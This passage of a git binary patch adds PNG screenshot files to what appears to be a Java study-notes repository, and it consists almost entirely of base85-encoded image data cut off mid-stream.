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 Bl6U|B literal 0 HcmV?d00001 diff --git "a/java\346\227\245\345\270\270/img/image-20221220233047039.png" "b/java\346\227\245\345\270\270/img/image-20221220233047039.png" new file mode 100644 index 0000000000000000000000000000000000000000..9b6fda51251c1640b436117c124f60a529ac42ca GIT binary patch literal 130319 zcmZ_0by$>L8}^Hcf|3eIgLF62At+ta(j7y0w~Ep*AVUm;#KD zyU_*AYIqo!UJ4(tV5e|k_Y)8@dv_49+mj`Hig}MEJgdtz6KUaAQNegJGGsvT*2z#e z+Un%q+sn9>#%p^gKshCFO&pthQpalq9+0K1vpft4QeQTu&}+60)(Maan5XJZV3? zB#iHU^nvKf;sJlyTQuXDaW5*_V_L-@0P?7uAG3FgIy&fT^Or`&d1vrIK4CvACwYhDtn1!acTnKQ}*q<4lp+djcd zXIP0xYWB=R<1{syiAlx+pTGXJ+p#troqB(;Jp5~a%zZy~pilZH_fdKz@6`?ghrTsc zmY$01*^gdD;jW7Dni3AyZh<9PO)HB}-26BSl|wWkt|aA{=mbT%9Hb1h6UxNTZ0E%o z-@f{4$p&OFR{|Px!`JJ;u`dh1JCH~0{yMTU`1ofj(6du1z1!{2WW$uVxR0=6W$>KS z^d#>3TmMBdCpDloj;ittA$epCReC{?-goeQVtSi;T9`L80hq?bHiM+xV*u&8?InzU zuxx^vvtgzQJQ)|D>Kr@14(x**Hz%BU&<^rNm=nYs#<7(1W4{&hY`U!v7~+YE@e`?3 zm2FMqkRrUE5L=7Uvbh<2YYr|?8gbx<@h@#S(D=dBe+PGrvk+im{PU8GNCOk77qL0e8Ah72{rkVR3Gav{A(< z3)!rV1XWEU9Mw_(Rsv1>$(U>*GTe~in-`6dl`D#kbvTcBnr+z`YJrcpkWt?33H5E{LI?zNYR4+qEcYqX9cs&c;JcAk!QW$`gRxeary zdj`^mKTmXF8XWD`o-mD!t2?d9`a3HBdG1sZ;1akQ58qfPDU(vIYlesimk@p^&&noq zf#i)HB1?_fR%^MS>#w9b-*_)?qu?l3%m9zVU>68^2V3~YciQt6PO_a}RWK=0Ud$$E z)M+%QqMiqe6DyZi@)Ff4fih1F#?3jLexytKK+x#HXr09D2a6@=urcYo4v_SS=Ddrk zw-ISBAW!6z{M~iVUWg0VT171N4?N+OTOzN@!Shnbh$&;Hd!K8YdNo-p{=xE@C3#Qs zF10I_SK7LItgnh!ZT^4|6^`n=lj{ZVr2cG>R-jK&HDpS|c}_zhjn2`d#*~o%PpE*Z zP?P{+C9uT_8w2#X((#<87rrU+beagPZEIQk^LLv`bGJ<~N_Ed7fF=YqEOm+p~sHZoSa3y9vDDS0&WZ86P=a z%l_XVw=bSMgHR60z@vgA;Ved-FYwh2_-W#PK5|9*{hOT&15Y<({rS9z%iZ#Tn3Iy{ zK(Y}W^sVoxKrbqa!#0kgA<_5xq>k>@o55#A-LQga<=Gd`jd9sUsg01@;2&j>&R?cc zRohvP%MOM6zQCd%`zsmZGV>`Ur7RtGG#T{WXS1->M;4z9;kO0hfF6y&v|J6(y4y35 zhuUz9O|G}qPk_bGqMEpTj({@?i_tYkPe9I`ns_6-2rUKmWIg{qJGI$=(T5{{5E!^XlI*Ze(JV?0~qvJV61i znP<=6&7R6=j!!D9ciqewXNst%X zUb-H{oO>X|+Ze3cxLFS;Pk|h?$iUZ%0L1s49Go^CPo0{0XqFETF05tbgY|l72>A(P z5}W!?gG?XPR3;eJYqbj`=6$~XVn)tXP-b0fsx?#E?1XAS3fmX+P#-)tYCR)ldS}zh zm6!!cPi>4Vq)2gOJ=gjcxFlY6H=<|Su;GON>y&=*~M!r<;yr(zA;@<`2 zr-4?L(e_n^ghg;g2OXaMt3p%pfz5l~OCPgWg85OsYi}bm)7htC!U!IxKax58COh5q z8Kst}$t&*q0%M?`arz<0HWfUMQ?;d60f8LhLLT!zt#kR&_9MbK63#(Lyu1C3gxT}? z)Hu8n{b^mLpBabxDqzc}Vozjke?vSqf}`q`gR%ZB%_KuT$UB;NG7GAF41%#4UI04Yltnv%wgN(2>GR^U=|i@PtC&eGbFhgOYx?QQdk zIvK1>z|(!IJdcGX3aIOxeey0C>R5ZDI`Y+X@eOW2;@!n{NwwQ>>8ZBnu7uV#JQzU- zx>H3h&Z;xN?Y3>#hq#jh%?uvWA_8uKO#Y#&f9^1DNkTp$;X!>(JVt_|?~${V2Tgr4 zI2B^zpU=&jq9Vgh^SG&U9#hznhN_5Spg+>q$*ieVg$?N(y!OP8EW$l ze+E2m-O??ALamvNB7(#yD#o8hfs$oBW5$3MO!AgPX;bLsjsedxNGJxSon92d`yW@C zrAe?y{@A5e8j&9wnb*L=}v(&U`f9q8`eX(#= zeq>hnTVPvzXG^j0=|_I446J%n-7;OBL392&*-i*;Ont;9dt`P|;Mu&lV9V8`0#y6` zz`Cs*pAA_BQCn+%6&#cZ_|q-)+oracd)q=0UeKyMKmg-s&MVFDH|dV|~GB z#Jh042mISYp`n96LwK~ki5n2?spG32Lo9Un*KZwN+2ilejM3QIPU)iKeWZOkXA0Te zSEL9{LuI@?y%!FG-T2<%Zc7E&&GIMf7OZ`KoHQ{9wKH}OLMGk?|6ROhFKw-srN$}s zhbpiH=1g0L>#}HXU8bD|BGGvF{EtMXJaw$~wYVKfFdYrs6j7TN7vZTkD+#3F{U@En zawjWTw52!E>VsNw+wfycg-XZ4jLh}&2(cw9Wm8i90{K_Zh3@yPrJPPWD+4*8B2Ae$(!d0U$S9ZdO7Dv0sq$S270w{v<}JCm zcrEzHe!J%YzW^?bCm~O`;8|n3Sdl>5dU;M^TxnE+33-`NBI7gR-|FPvZUurbUNC&Q ztm4KYSnIpM#d%*Ua0!wYFFQ6JEmyp6Br{O8Rj!%$Cfv}Opw#bz|F%fcBc@kmt<1~w z*b@oT%*0+={_eb}3-`CFRJNy}yp&V=60lvd4ui9F&}%!FZ^d^Tomch}U+dI8 zO=O6iUC}i#C96AQ56DP~mD+fW%pF9~1c#O1S!am7a-2W24zGQ8P~HYuGc~>9uPkBi z|1--9FGwlXIyaoI&XRTUdEx7tX?PfLINzUO+{)o#<^CYD&v+F3bz*L?Sqx&ft5;SF z8@%1nn>P|kZzOTM8Jp5x6vc!IIFaRIpa)}3jn{4u4!Kdr5`0WO?}MXfg}LJk zl?vW>huRK7B7zIA@egwXG`QJ8$rChG%F&vflQ!@PeXC&V&*IyfUh0i{*5fUCq)d2x z8i9ngW`JXiUZyDh?G&CC!9>G0Y$x@;ITQE9n*Gf-bp%rr2mCNYqzmkv(FZqiPukTN zP8vRmmuMgwVnSR?C~r(~?(%EAx+@W29etK9Dmv4##2NG+3KPO6^MT5ixd|a>*Jhbq zkd#@k)+ zDjT2dwSIyoih}!*UnPa09zMj(vqp;6QH|HyO-W9Wdr98?5f%JTC9M zy*G?n_GR)QPmzqbh5?{Y=0CEkGNs6tBvG3cy@#-)Qh7UvD{75xYyo*)4GQv{@`u;C z#Rpb^pYe7?Sc?k!M-1hvw5u$fN?h9Vw#p*R^W?L)tr2@oX`2vlYHGt_{N>8My4TIA z2d)xLBbk=^uwdOKK~VPnwLqONKUtyeDbI%rNM9)wuy`)!+4&Y|h0;>2cJ1uQE7hen ziPYK}zZ{L0V#zQbF{ab|d^m?(q3kg<`wN>aN>#y-=zi2j@PCSfU+!DB;y;Qz}@nLLiwLT z4v)Em?Oyl8+q^j)=Ca%jvP=Ro#i-dWt8>G8)%4GoC;?EvW{6&>nU08y%eF=J8ZCKr zlO2VTtiy3&YN*+i%o2R*38w>q;~>ZSSJZy?H9=$KNQ(Q?k~_X(Pmsa@31BBU+$FYr zQ@)ooL+3k{jbS~gV$5EY#;`w@`!;kY==tD6ZLv*ky-F!fC`!tL{vj+Mdld|yQpa3( zILxs;MVF&)1CcDx?D^Xv452%-{2cHX$@i>sZ&R4g>31(h?Uzr46E-OeYW_S?8wA2Q zd67b6V}~k*t-Zk?5{=~Vk0AaL`I^ql(@GOS((EbET8{Pg3;(AJm|Deg!LCFWiMY)0fRsLr@&AYC(JpO;Ay6Y#5GK ziY!sX#6{9(s%bfdfBDu;Y*|!mG=52&=j_SCNkeD#myn)-?gtgy!TrGF4H|c%K~{$R zAi4n+`*qXTos}<->mvZk753xhvllBi_u`jo-qlOe-Rx3UzALX?LK@P)oI((j^)x@N z{&=lX2HcJk6xHpPhYcSV>fW6@uFcyXSk8Q)vw*uBK#pd`;nPK;p!7Jeg}V!zOX&)Z z=2XOP934`{ZMLHJaLZED@^NtC^f%lG@&{(^TVUi)NNSBu9|+Eq!@tDgk+ z$drV4CBsbB^LGj8X{sCQw#8pZ4p*C>j^t3B{@OnF0<;6)j;sfG}*D_AbB+`VT)gZg<` z@G7%A=lHIA-SkESj68##=<0$=<{+@whe7t+S> zC347fLp)1#;7a9eS`~ht@vWjVkLXvX)*oXW5D{TD{VA$upT;-AXqW3Vg7#RegCbIr z31c!>RA=DAxEZovXT?6MIVf}M0OE$>75cyIX_>1QD6+vlJMXH$9R5i@d(wKn_Sx9x zlQl|neu`gF`sZzWY3?1x$F<;R#d!?~@04?~5&m6c8^g{=Ie%xxD_5@S^pWW=G1XI5 z@WNc`fRf$i_VoL0wZdA*+S2SLdu55ZVWq--qwe<^(0kDt4W!LI0%X*PsMNpkXt37b zY<{pF6GJu_`5BDJ(Vdrw>}8JOuA0Lp1WEJN9N5a(oObP7T3M4yC|HAQ&s(=#^n)DLZ zrIIvBDv#>Oh@UYY2?fJXUs@JKGT^#7dU8f9hx$CUvw!kA2|Ydc*_I)_RXo8(O-hGg zP|$$e+~fk#B0Lw9OxRjJW~Xg!c+KIX&W*mX4H=W*Ri$AMML=isBNo{##liVzf4ozM zNEigrq(+5O>4~MGfM0v_dk!3zlNvGnw0om^yic3J6te`qa?`)6F^c2%6xf(MURbDn z4z**99<;!z#XZU{`vfSM453rsP>E4Y;W;!Q8(B;>32EV&XMzCkGwyi1}AAw=m@T9i8vZ+a$*-mfNpI+K4aKxlb1 zMaxpGRFr$q!Xm2+>0Q zGG7?Z^<)j8{K{mp*HMJHLNG19X@Nv;iRm$6v z9&D+KH$%t~$boQI?uX?H8n@A>>PVdLrwzqrtK{?3jb*vJqPcp#<5IuQkXg&O9i_Y3 zGz+r!yMi%8$~;!~+>P1qy8RoQcdN*F?=3FrVZwunWskuc=%@#m*AzKbVvNf=Kdaac zNv?};&CKAJz&jSq+Tn$Ok(WqwA(v%v1h`@6 zr-fStB47XYN0ny;65Mz03FfLDk?0U!59lB--lhWR+~m8mPsUa|Z|f`64(*6kn<&A# z@n*wPcTWV@J&s%VKJ5?&FVqj`Kw{E(UVGx78h!OvJd#tue}!+Uj`*G zfrnJ`7jxS={fB(|qr>b4zUx2s9Wh8(ulfv%Bt|u1om!AgM2;WYbbzm$1NWeWUObV- zXvyD76z7q>PzjENAHuL(#-m^9k8TWjEYS^Ee4S;Q?r3IE^bz(4M~xp>xkjJA^%LFi zP)gS-xRW?j(V5dpJMpI9eO0>FaEH(M^n;=jxe7{!;(#XSwQCX%;c%1Ic8&`SGlb;6 zA=Xh^!eH#AtlctX{;`3__SB@H9!Cz6d4ra~zcb|Zc{6&G4E0lkO1wHIhpQ;<^+$K3 z5F7pUZ486npN$!Zmp=}O8T%aH(Jsch8g0nQ6aa-GKiiDk#1LwqMmZjc6iVB2=w63{ zZ}5b_1TxD09`l-yG^fQxXTeB_Mi1T5hw@i_vWPNxn{u&MZESh`PJF%vk15_NrbKxX z|1Fxn2G6P+nDqyQ-HFO3HJtvQi>n`B!hzQNTP>$PHHKtFmj!RQ$ELEjW9POWeN`996McPV3Y`nt!EDBx!HX7F@QegazI~+ zE#+jnHzc`6MTGHXfI#K<$Q^G;V*uYDN<5+$SM%jbj!x-J5$4~^x5*76uzEtJ%$A>{ zYfZw*%O8q`h9Kzl)9AHp!`qfSIbXLTOH`APGG?OmzZNBzwFt*kv}n!S^lb!h#;y67 zYM^^QVWf-mq3NAm{%8(R~2si z9Pjxt^4tj~R<#((7`<|jQztOQ$Y$(5+TpD)1-=BgzG-Ro^ZTP>SWCxZm@%^MgNLX{ z8$9A7k0|}wU9NLh5ddcIvVmm-H(f>OUog)d@x>-YQ(4S!7PiU{0}n*3-00ar5*@9O z8pWASQP7*w_$jpw5Dgy$OPZcqUHGF4;hNM9+3oJj>9RKXV&RN*;{|!ybZ^=(n{RHz zR8tUbsc8s+Xw*Mf%<7Z!2fkR7l&qQUjPxIYW9U78Px0vXVwDzFE>s z7Zth4)CxH(mOjM1?}hDh6C)kwP%NqRn`*nj{iik51I5-o_zi=wAKT3t+C8vdG6HuGP3Nsx*AMo8^fBQ(rw7r-#WKx{rt$Vz@<18nsS5al zr|nP6@QOJDUVV_~>KysVBjlHo=`=cGFVC9@Lt^v zl|(19)62jgK=sShxpkRWBjskt;CHu<3e06a{FBQ&IOjrg4=G$s#dCy}1+xY^Yg-rc zFQ9>)hOLf^dR_s{{>C#J``d$GUWeR}ZxXBxv9jMahm>u4K+Y=Zny$m&m~?AVLA+_i zL~QXqRAHHt`;64_hP}4+#_W~o<8Dl4Wvllgtvx_}-IF|}*MrZsOAyRbekq&Jl}GE- zx!M5fKZ~LYRLz@Jtl94DdQQN>4}%}&*9g19Hxx&ezr=nL!9oqF5%Wv3eA>OVoHy@o zzSw(D)VG^VGa>ku;>1r2l*jwYFtJsIjM_aMXjNuxw8jp@=c_*0?6#(T54^nOP^nWT z@^@x)hm;SWNGMw;dx(x|K1l&7aozou#H&)viPev6&IAZOURBL%aqD{tFT1hk;^j|H zYd3~)b7J#}NT!TskGTnLla-8Jh;*@k;{Et*_IWboS;ixtEDPK1R(QRh>X$KlT`uAN zWBq7Niq$KHgpD*uDz=InBpK3nzlf-V6j-AGHsdSLM}0L zIEUzn)vt6+duXbu+M>rS$4rBawa87-w16k?OBCvC^=LQ|N8Rmep7Y>UCh>4XI7BMB z7;Fc!dZu{X@WRz!951l1J*8BEYX8i08S`VJ_4G{ZBNGaJXV<5>{@K6&cYJiL#txJ&hVannB_xd5S2k zVAcnDTAC%+J4WF$akZi;7Z99m^V(PfaUF6KHwh3Emq%<OWsD_;vn!=c}pDx~d9h zmV;7eERgUUl^R>bnj2nS2~^5nmdPJFr3A!?h&*2MpbXr7MJ{w`*|3a%NNLWadtg#t zoVCKPMsbdP)y^Z|WbFY`};?grM%NtuwqZP-!ddEh{M@9R! zBIFg*?9Vve_>_wUcYlq3E$rn)l$0@3E{#i42W_%l)EwA07|Sz53TsRu91V>6a_;l- zQDpI-ZuRZOsC$jIW_X0J*P2K*VKc(rg)|azfOMQ77kb9!pm0dvyIP6mA5G>Y^2 z43qZ8R%daRt*aT9>r6ss1mP)L~!%E(H?1YT92RmzC= zd*I)HTZV3MubnR72TFbsQd66#XB@K2gW%)#yHCK+>wL8Eh309n%n({<<``h zrSrZAx^S)shS5o>-x_`O1<<0RlzYi1sugEiI>eoYZA6}nQ7V_$&wXqPlFDg@)gWm| z(>M-~X^kw~ST1%YpI`oq)%iXH0Zx^m>AvTq(()sK9ZUkF#6JE_{Z5X#UWZ(EJI^x; zi6OHgu|;-dDp<@o#f`_dG1-mau!XJZKtGK?o*)S3Na%Ogv~mG{itt+o?hC?@) z17X96s@4dlphwmhsLFx2#G-8>AhBE(!^Q0PI}bk_c$qs*RVIRb{I}d&AdaHI?M(zh~X=Q0WKSUNil4fE~l@|&7Swd zVXfO}6XQqf2In*~m7!a>{@ffH#BjXysGg#jA?K)|cU;1db=$Fy4uR&Al(h8-FIF42 zr7}Y$(v>*du}y+OAkn_5z>5^u3YFLFY0NFB&S|WXI3Cd%E8vw*Y4S4wa3tYWG?ji< z6OxJ#_FEsy575on5CJB;UJQ{=AnxyB z1@Gw+)GB?z5VityGka0@h$na4er(e)!cB2gmXRbBljiJh-b~ESDFn$Cv^kUm0wFH@ z#s_d~=bLl(`uZWc2R3@n7t(^}g}ori~MW6nUJ0V>8QC9E)_#DJQi@alX;0pCJkzsvqCG4C{M7(jk zFU!iNBv$a(B)6cLwS6O_z-1}}WVFf}HGZ4JbB&UW?4VaDAgxvVYXmA43P??Di~yu6 zRDRB5QE+dJpAm?O>Gd#AN4Wqjcb=kEE`yTgCGTuAPHW-;q@-@Rhc_XWqw#qR^Q?wq ztnWhxgGHI9xyDkTR<<}a=>#vRX3e*zm5b1TZ>Z+3y&_nw&waAYoCn_gH34|fZN(%% z|DdF5E9SvpeXSf9buKU>qGDJdzg0q#62wveOB+Sv2E+3#QNZ?aRkNJy>xW@AgW_;N z?_aDRm?-$;1Bp~u+iiJPRsKDi2I`fqtMcotUik8fiLsip?ZY<1FI1yZ_Y@CFs8PHO zvevD~@(S3nIG-;v^UrL|AfJnoYYq|%5X}kNqe2NEFf#HB9Ag4b)R-`1dg0K5jiL9d zH4sk%e%L!!EdWhL`BBS?ST3UVdzM+_x(bD9Jw!OMX=?&eR!sq1crZL8D)7tte<*zo znhGIoj8KgW)-~o8DgaF`+>P{nVqs4X9R0d?+Atzgt|hD*Vyr$9Qme=*HN51vXW3OF zfC&L)jcTj4o@nhZPkO1qRJ?iYBQlm6bb%Wkdl`SyPiY&1gGlEXUp}IcXfHUr4;P9} zQS(KA#y_14J~7NyZU%L zh$q^37?ff_E|Is8GAo;t(n@oQa5j3~*uRLFEg6ap^qK6TzTGt?pYkl5Mc zIaB;LhTduUk8Q>Jt!iicB(7EOGs2==%Tqm;+RSfikjl|s)#bnxM*0_6^NA#z^SA4* 